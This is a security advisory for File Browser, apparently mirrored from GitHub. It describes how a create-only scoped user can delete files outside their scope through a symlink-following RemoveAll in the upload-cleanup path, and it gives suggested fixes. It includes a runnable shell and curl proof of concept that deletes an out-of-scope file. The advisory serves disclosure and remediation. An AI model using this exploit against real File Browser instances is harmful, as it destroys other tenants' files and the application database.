GHSA-FMM7-X4GX-8JHR
Vulnerability from github – Published: 2026-07-20 21:17 – Updated: 2026-07-20 21:17Summary
A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.
ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.
Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174
Details
CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:
ScopedFs.RemoveandScopedFs.RemoveAllskipguard()(files/scoped.go:138-144) — they calls.base.Remove/RemoveAlldirectly, unlike every other method.resourcePostHandlerdoes not return on aNewFileInfocontainment error (http/resource.go:125-180). For an out-of-scope pathNewFileInfofails, but the handler only uses that for the override branch (if err == nil) and falls through towriteFile, which is correctly guard-blocked and errors — triggering the failure-cleanup_ = d.user.Fs.RemoveAll(r.URL.Path)(http/resource.go:173) on the unvalidated path.
Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.
Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.
Precondition
An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.
Proof of concept
Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:
# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt
# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root
# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
--scope=/scope \
--perm.admin=false --perm.create=true \
--perm.modify=false --perm.delete=false \
--perm.rename=false --perm.share=false --perm.execute=false
# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link
# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080
# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"victim","password":"hunter2"}')
# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
# and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
'http://127.0.0.1:8080/api/resources/link/victim.txt'
# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"
Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):
GET /api/raw/link/secret.txt -> 403 (read containment still holds — the v2.63.14 fix)
POST /api/resources/link/secret.txt -> 403 (write blocked)
=> /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)
Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).
Impact
A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the ScopedFs boundary and the Perm.Delete gate. If the target is a directory, RemoveAll recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.
Suggested fix
- Add
guard()toScopedFs.RemoveandScopedFs.RemoveAll(files/scoped.go), mirroring the other methods (closes the class for all callers). - Defense-in-depth: in
resourcePostHandler, return early whenNewFileInforeturns a non-not-exist error (do not fall through towriteFile/cleanup on a path that failed containment).
References
- Incomplete fix of CVE-2026-54094 /
GHSA-239w-m3h6-ch8v. - Affected code:
files/scoped.go(ScopedFs.Remove,ScopedFs.RemoveAll), reached fromhttp/resource.go(resourcePostHandlerfailure-cleanup, line 173). - Confirmed unpatched at HEAD
be23ab3(v2.63.15); no open issue/PR addresses theRemove/RemoveAllgap.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.15"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55667"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:17:24Z",
"nvd_published_at": "2026-06-25T19:16:43Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA scoped, non-admin File Browser user holding only the **Create** permission can delete arbitrary files outside their scope (other tenants\u0027 data, and the application\u0027s own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 `ScopedFs` containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.\n\n`ScopedFs.RemoveAll` is the one dereferencing operation that skips the symlink `guard` every other method enforces. The direct-upload handler runs `RemoveAll` on the user-controlled path during failed-upload cleanup, gated only by `Perm.Create`. If an escaping directory symlink already exists inside the user\u0027s scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the `ScopedFs` boundary and the `Perm.Delete` gate.\n\nAffected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174\n\n## Details\n\nCVE-2026-54094 was fixed by a `ScopedFs` afero wrapper whose `guard()` resolves every path component with `filepath.EvalSymlinks` and rejects out-of-scope targets. `guard()` is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:\n\n1. `ScopedFs.Remove` and `ScopedFs.RemoveAll` skip `guard()` (`files/scoped.go:138-144`) \u2014 they call `s.base.Remove/RemoveAll` directly, unlike every other method.\n2. `resourcePostHandler` does not return on a `NewFileInfo` containment error (`http/resource.go:125-180`). For an out-of-scope path `NewFileInfo` fails, but the handler only uses that for the override branch (`if err == nil`) and falls through to `writeFile`, which is correctly guard-blocked and errors \u2014 triggering the failure-cleanup `_ = d.user.Fs.RemoveAll(r.URL.Path)` (`http/resource.go:173`) on the unvalidated path.\n\nBecause Go\u0027s `os.RemoveAll` follows a symlinked ancestor, `RemoveAll(\"link/secret.txt\")` where `link -\u003e /srv/victim` deletes `/srv/victim/secret.txt`, outside scope. The HTTP response is 403 (write blocked), masking the deletion.\n\nOf the three handlers calling `RemoveAll`, only `resourcePostHandler` is exploitable; `resourceDeleteHandler` (`:114`) and `tusDeleteHandler` (`:264`) return the `NewFileInfo` error first (shadowed, confirmed by negative controls). If the target is a directory, `RemoveAll` recursively removes out-of-scope contents.\n\n## Precondition\n\nAn escaping directory symlink must already exist inside the user\u0027s scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.\n\n## Proof of concept\n\nRoot `/tmp/fb-root`, a Create-only non-admin user scoped to `/scope` with `Perm.Create=true` (and `Perm.Delete=false` \u2014 the bug must not need it), and a pre-existing symlink `/tmp/fb-root/scope/link -\u003e /tmp/fb-out`:\n\n```sh\n# 0. Layout: server root + an out-of-scope dir holding the victim file\nmkdir -p /tmp/fb-root /tmp/fb-out\necho keep \u003e /tmp/fb-out/victim.txt\n\n# 1. Init DB and pin the server root\nfilebrowser -d /tmp/fb.db config init\nfilebrowser -d /tmp/fb.db config set --root /tmp/fb-root\n\n# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it\nfilebrowser -d /tmp/fb.db users add victim hunter2 \\\n --scope=/scope \\\n --perm.admin=false --perm.create=true \\\n --perm.modify=false --perm.delete=false \\\n --perm.rename=false --perm.share=false --perm.execute=false\n\n# 3. Plant an escaping directory symlink inside the user\u0027s scope. Out-of-band, per the threat model\n# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.\nln -s /tmp/fb-out /tmp/fb-root/scope/link\n\n# 4. Start the server\nfilebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080\n\n# 5. Log in; the JWT is returned as the raw response body\nJWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"victim\",\"password\":\"hunter2\"}\u0027)\n\n# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,\n# and failed-upload cleanup then runs the UNguarded RemoveAll(\"/link/victim.txt\").\ncurl -i -X POST -H \"X-Auth: $JWT\" --data \u0027x\u0027 \\\n \u0027http://127.0.0.1:8080/api/resources/link/victim.txt\u0027\n\n# 7. Impact check\ntest ! -e /tmp/fb-out/victim.txt \u0026\u0026 echo \"IMPACT: out-of-scope victim.txt DELETED\"\n```\n\nMinimal HTTP summary (Create-only user `carol`, scope `/attacker`, pre-existing symlink `/attacker/link -\u003e /srv/victim`, file `/srv/victim/secret.txt`):\n\n```text\nGET /api/raw/link/secret.txt -\u003e 403 (read containment still holds \u2014 the v2.63.14 fix)\nPOST /api/resources/link/secret.txt -\u003e 403 (write blocked)\n =\u003e /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)\n```\n\nVerified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir \u2192 all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).\n\n## Impact\n\nA per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants\u0027 data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the `ScopedFs` boundary and the `Perm.Delete` gate. If the target is a directory, `RemoveAll` recursively removes out-of-scope contents. Precondition: a symlink present in the user\u0027s scope \u2014 identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.\n\n## Suggested fix\n\n1. Add `guard()` to `ScopedFs.Remove` and `ScopedFs.RemoveAll` (`files/scoped.go`), mirroring the other methods (closes the class for all callers).\n2. Defense-in-depth: in `resourcePostHandler`, return early when `NewFileInfo` returns a non-not-exist error (do not fall through to `writeFile`/cleanup on a path that failed containment).\n\n## References\n\n- Incomplete fix of CVE-2026-54094 / `GHSA-239w-m3h6-ch8v`.\n- Affected code: `files/scoped.go` (`ScopedFs.Remove`, `ScopedFs.RemoveAll`), reached from `http/resource.go` (`resourcePostHandler` failure-cleanup, line 173).\n- Confirmed unpatched at HEAD `be23ab3` (`v2.63.15`); no open issue/PR addresses the `Remove`/`RemoveAll` gap.",
"id": "GHSA-fmm7-x4gx-8jhr",
"modified": "2026-07-20T21:17:24Z",
"published": "2026-07-20T21:17:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-fmm7-x4gx-8jhr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55667"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.